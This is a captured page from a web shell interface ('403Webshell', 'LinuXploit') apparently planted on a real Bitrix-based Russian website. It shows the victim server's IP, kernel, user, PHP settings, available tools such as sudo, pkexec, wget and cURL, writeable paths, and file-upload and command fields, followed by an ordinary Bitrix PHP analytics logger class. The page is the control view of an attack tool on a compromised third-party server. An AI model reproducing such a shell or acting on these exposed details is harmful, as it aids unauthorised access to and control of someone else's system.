403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/im/lib/V2/Analytics/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/im/lib/V2/Analytics/AnalyticsEventLogger.php
<?php

declare(strict_types=1);

namespace Bitrix\Im\V2\Analytics;

use Bitrix\Main\Analytics\AnalyticsEvent;
use Bitrix\Main\Event;
use Bitrix\Main\Localization\Loc;
use CIMMessageParamAttach;
use CIMMessenger;

class AnalyticsEventLogger
{
	public static function sendToChat(int $chatId, array|Event $event): void
	{
		$attach = new CIMMessageParamAttach(null, CIMMessageParamAttach::CHAT);
		$messageText = Loc::getMessage('IM_ANALYTICS_TAG_WAS_SENT');

		$messageFields = [
			'SYSTEM' => 'Y',
			'URL_PREVIEW' => 'N',
			'MESSAGE' => $messageText . ' ' . (($event instanceof Event) ? 'backend' : 'frontend'),
			'FROM_USER_ID' => 0,
			'TO_CHAT_ID' => $chatId,
			'MESSAGE_TYPE' => IM_MESSAGE_CHAT,
		];

		if ($event instanceof Event)
		{
			/** @var AnalyticsEvent $analyticsEvent */
			$analyticsEvent = $event->getParameter('analyticsEvent');
			$event = $analyticsEvent->exportToArray();
		}

		$tool = $event['tool'] ?? '';
		$category = $event['category'] ?? '';
		$p5 = $event['p5'] ?? '';

		if ((($tool === 'im') || str_starts_with($category, 'chat')) && ($p5 === ('chatId_' . $chatId)))
		{
			return;
		}

		foreach ($event as $item => $value)
		{
			if ((null !== $value) && ($item !== 'userAgent'))
			{
				$attach->AddMessage($item . ': ' . $value);
			}
		}

		$messageFields['ATTACH'] = $attach;
		CIMMessenger::Add($messageFields);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit